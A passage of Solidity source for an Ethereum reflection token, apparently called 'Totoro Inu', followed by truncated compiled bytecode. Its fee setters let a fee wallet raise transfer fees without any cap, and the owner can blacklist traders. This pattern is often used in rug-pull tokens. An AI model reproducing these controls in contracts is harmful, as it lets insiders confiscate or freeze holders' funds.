uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600a81526020017f546f746f726f20496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f546f746f726f0000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060008201